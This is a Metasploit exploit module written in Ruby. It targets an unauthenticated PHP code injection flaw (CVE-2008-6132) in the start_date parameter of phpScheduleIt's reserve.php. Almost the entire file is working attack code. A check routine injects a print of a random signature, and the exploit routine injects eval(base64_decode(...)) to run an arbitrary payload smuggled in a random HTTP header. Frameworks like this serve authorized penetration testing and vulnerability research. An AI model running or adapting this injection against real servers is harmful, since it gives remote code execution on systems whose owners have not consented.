126 lines
3.3 KiB
Ruby
126 lines
3.3 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary PHP code execution flaw in the phpScheduleIt
|
|
software. This vulnerability is only exploitable when the magic_quotes_gpc PHP
|
|
option is 'off'. Authentication is not required to exploit the bug.
|
|
|
|
Version 1.2.10 and earlier of phpScheduleIt are affected.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'EgiX', # Vulnerability Discovery and Exploit
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'License' => BSD_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
['CVE', '2008-6132'],
|
|
['OSVDB', '48797'],
|
|
['BID', '31520'],
|
|
['URL', 'http://www.exploit-db.com/exploits/6646/'],
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Payload' =>
|
|
{
|
|
# max header length for Apache,
|
|
# http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize
|
|
'Space' => 8190,
|
|
'DisableNops' => true,
|
|
'Keys' => ['php'],
|
|
},
|
|
'Targets' => [ ['Automatic', { }] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Oct 1 2008'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI', [ true, "The full URI path to phpScheduleIt", '/phpscheduleit']),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
signature = rand_text_alpha(rand(10)+10)
|
|
stub = "1').${print('#{signature}')}.${die};#"
|
|
my_payload = "btnSubmit=1&start_date=#{stub}"
|
|
|
|
if datastore['URI'][-1, 1] == "/"
|
|
uri = datastore['URI'] + "reserve.php"
|
|
else
|
|
uri = datastore['URI'] + "/reserve.php"
|
|
end
|
|
|
|
print_status("Checking uri #{uri}")
|
|
|
|
response = send_request_cgi({
|
|
'method' => "POST",
|
|
'global' => true,
|
|
'uri' => uri,
|
|
'headers' => {
|
|
'Referer' => uri,
|
|
},
|
|
'data' => "#{my_payload}"
|
|
}, 25)
|
|
|
|
if response.code == 200 and response.body =~ /#{signature}/
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10)
|
|
stub = "1').${error_reporting(0)}.${eval(base64_decode($_SERVER[HTTP_#{headername.gsub("-", "_")}]))};#"
|
|
my_payload = "btnSubmit=1&start_date=#{stub}"
|
|
|
|
if datastore['URI'][-1, 1] == "/"
|
|
uri = datastore['URI'] + "reserve.php"
|
|
else
|
|
uri = datastore['URI'] + "/reserve.php"
|
|
end
|
|
|
|
print_status("Sending request for: #{uri}")
|
|
print_status("Payload embedded in header: #{headername}")
|
|
|
|
response = send_request_cgi({
|
|
'method' => "POST",
|
|
'global' => true,
|
|
'uri' => uri,
|
|
'headers' => {
|
|
headername => Rex::Text.encode_base64(payload.encoded),
|
|
'Referer' => uri
|
|
},
|
|
'data' => "#{my_payload}"
|
|
}, 25)
|
|
|
|
if response and response.code != 200
|
|
print_error("Server returned a non-200 status code: (#{response.code})")
|
|
end
|
|
|
|
handler
|
|
end
|
|
end
|